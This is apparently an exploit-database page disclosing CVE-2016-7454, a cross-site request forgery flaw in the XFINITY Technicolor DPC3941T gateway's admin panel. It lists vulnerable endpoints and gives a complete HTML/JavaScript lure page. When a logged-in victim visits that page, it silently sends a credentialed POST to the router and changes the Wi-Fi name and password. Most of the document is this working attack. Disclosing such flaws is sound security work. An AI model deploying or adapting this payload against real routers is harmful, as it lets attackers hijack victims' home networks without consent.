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XFINITY Gateway Technicolor DPC3941T Cross Site Request Forgery

XFINITY Gateway Technicolor DPC3941T Cross Site Request Forgery
Posted Dec 12, 2016
Authored by Ayushman Dutta

XFINITY Gateway Technicolor DPC3941T wifi password changing cross site request forgery proof of concept code.

tags | exploit, proof of concept, csrf
advisories | CVE-2016-7454
SHA-256 | 811d50f4e9510bfd0cd95aeefcb473ba4cbffa74550dcc682f583eb135f3b41c

XFINITY Gateway Technicolor DPC3941T Cross Site Request Forgery

Change Mirror Download
# Exploit Title: CSRF XFINITY Gateway product Technicolor(previously Cisco)
DPC3941T
# Date: 12/12/2016
# Exploit Author: Ayushman Dutta
# Version: dpc3941-P20-18-v303r20421733-160413a-CMCST
# CVE : CVE-2016-7454

The Device DPC3941T is vulnerable to CSRF and has no security on the entire
admin panel for it.
Some of the links are at:

<IP Address>/actionHandler/ajax_remote_management.php
<IP Address>/actionHandler/ajaxSet_wireless_network_configuration_edit.php
<IP Address>/actionHandler/ajax_network_diagnostic_tools.php
<IP Address>/actionHandler/ajax_at_a_glance.php

A simple HTML page with javascript on which the attacker lures the victim
can be used to change state in the application.

<html>
<head>
<title>
Lets CSRF Xfinity to change Wifi Password
</title>
</head>
<script>
function jsonreq() {
var json_upload = "configInfo=" + JSON.stringify({"radio_enable":"true",
"network_name":"MyName", "wireless_mode":"a,n,ac",
"security":"WPAWPA2_PSK_TKIPAES",
"channel_automatic":"true", "channel_number":"40",
"network_password":"password", "broadcastSSID":"true", "enableWMM":"true",
"ssid_number":"1"});
var xmlhttp = new XMLHttpRequest();
xmlhttp.withCredentials = true;
xmlhttp.open("POST","http://10.0.0.1/actionHandler/ajaxSet_wireless_network_
configuration_edit.php", true);
xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-
urlencoded");
xmlhttp.send(json_upload);
}
jsonreq();
</script>
</html>
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